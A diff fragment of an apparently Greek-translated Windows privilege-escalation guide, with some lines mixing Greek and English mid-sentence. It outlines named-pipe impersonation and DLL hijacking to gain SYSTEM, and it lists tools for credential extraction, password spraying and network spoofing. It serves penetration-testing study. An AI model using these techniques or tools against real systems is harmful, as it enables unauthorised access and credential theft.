αποκτώντας SYSTEM προνόμια.\ -Αν θέλετε να [**μάθετε περισσότερα για named pipes διαβάστε αυτό**](#named-pipe-client-impersonation).\ -Αν θέλετε να διαβάσετε ένα παράδειγμα για το [**πώς να πάτε από high integrity σε System χρησιμοποιώντας name pipes διαβάστε αυτό**](from-high-integrity-to-system-with-name-pipes.md). +Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να escalate σε `getsystem`. Η τεχνική συνίσταται στο **δημιουργία ενός pipe και στη συνέχεια δημιουργία/κατάχρηση ενός service για να γράψει σε αυτό το pipe**. Έπειτα, ο **server** που δημιούργησε το pipe χρησιμοποιώντας το **`SeImpersonate`** privilege θα είναι σε θέση να **υποδυθεί (impersonate) το token** του pipe client (του service) αποκτώντας SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Αν καταφέρετε να **hijackάρετε ένα dll** που φορτώνεται από μια **διαδικασία** που τρέχει ως **SYSTEM**, θα μπορέσετε να εκτελέσετε arbitrary code με αυτά τα δικαιώματα. Επομένως το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος privilege escalation και, επιπλέον, είναι πολύ **ευκολότερο να το επιτύχετε από μια High Integrity process** καθώς αυτή θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για το loading των dlls.\ -**Μπορείτε** [**να μάθετε περισσότερα για Dll hijacking εδώ**](dll-hijacking/index.html)**.** +If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **πιο εύκολο να επιτευχθεί από μια high integrity process** καθώς θα έχει **write permissions** στους φακέλους που χρησιμοποιούνται για το φόρτωμα των dlls.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1574,51 +1617,51 @@ sc start newservicename **Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Περισσότερη βοήθεια +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Χρήσιμα εργαλεία +## Useful tools -**Καλύτερο εργαλείο για αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Καλύτερο εργαλείο για να αναζητήσετε Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Έλεγχος για λανθασμένες ρυθμίσεις και ευαίσθητα αρχεία (**[**έλεγχος εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Εντοπίστηκε.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Έλεγχος για κάποιες πιθανές λανθασμένες ρυθμίσεις και συλλογή πληροφοριών (**[**έλεγχος εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Έλεγχος για λανθασμένες ρυθμίσεις**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει αποθηκευμένες πληροφορίες συνεδριών από PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από το Credential Manager. Εντοπίστηκε.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Δοκιμάζει τους συλλεγμένους κωδικούς σε όλο το domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και εργαλείο man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική καταγραφή για privesc σε Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζήτηση γνωστών privesc ευπαθειών (DEPRECATED υπέρ Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται δικαιώματα Admin)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Ελέγχει για misconfigurations και sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Εντοπίστηκε.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Ελέγχει για κάποιες πιθανές misconfigurations και συγκεντρώνει πληροφορίες (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Έλεγχος για misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει αποθηκευμένες συνεδρίες PuTTY, WinSCP, SuperPuTTY, FileZilla, και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει credentials από το Credential Manager. Εντοπίστηκε.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray των συγκεντρωμένων κωδικών στο domain**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh είναι ένα PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και man-in-the-middle εργαλείο.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική Windows privesc enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζήτηση γνωστών privesc vulnerabilities (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται Admin δικαιώματα)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζήτηση γνωστών privesc ευπαθειών (χρειάζεται να μεταγλωττιστεί χρησιμοποιώντας VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Αναλύει το host αναζητώντας λανθασμένες ρυθμίσεις (περισσότερο εργαλείο συλλογής πληροφοριών παρά privesc) (χρειάζεται να μεταγλωττιστεί) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει διαπιστευτήρια από πολλά προγράμματα (precompiled exe στο github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζητά γνωστά privesc vulnerabilities (απαιτείται να μεταγλωττιστεί χρησιμοποιώντας VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Εξετάζει το host αναζητώντας misconfigurations (πιο πολύ εργαλείο gather info παρά privesc) (χρειάζεται compile) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει credentials από πολλά softwares (precompiled exe στο github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port του PowerUp σε C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Έλεγχος για λανθασμένες ρυθμίσεις (εκτελέσιμο προ-συνταγμένο στο github). Δεν συνιστάται. Δεν δουλεύει καλά σε Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Έλεγχος για πιθανές λανθασμένες ρυθμίσεις (exe από python). Δεν συνιστάται. Δεν δουλεύει καλά σε Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Έλεγχος για misconfiguration (executable precompiled στο github). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Έλεγχος για πιθανές misconfigurations (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο δημιουργημένο βάσει αυτής της ανάρτησης (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο δημιουργημένο βάσει αυτού του post (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (τοπικό python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (τοπικό python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Διαβάζει την έξοδο του **systeminfo** και προτείνει λειτουργικά exploits (local python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Πρέπει να μεταγλωττίσετε το project χρησιμοποιώντας τη σωστή έκδοση του .NET ([δείτε αυτό](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στο θύμα μπορείτε να κάνετε: +Πρέπει να μεταγλωττίσετε (compile) το project χρησιμοποιώντας τη σωστή έκδοση του .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στον θύμα host μπορείτε να κάνετε: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1641,4 +1684,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}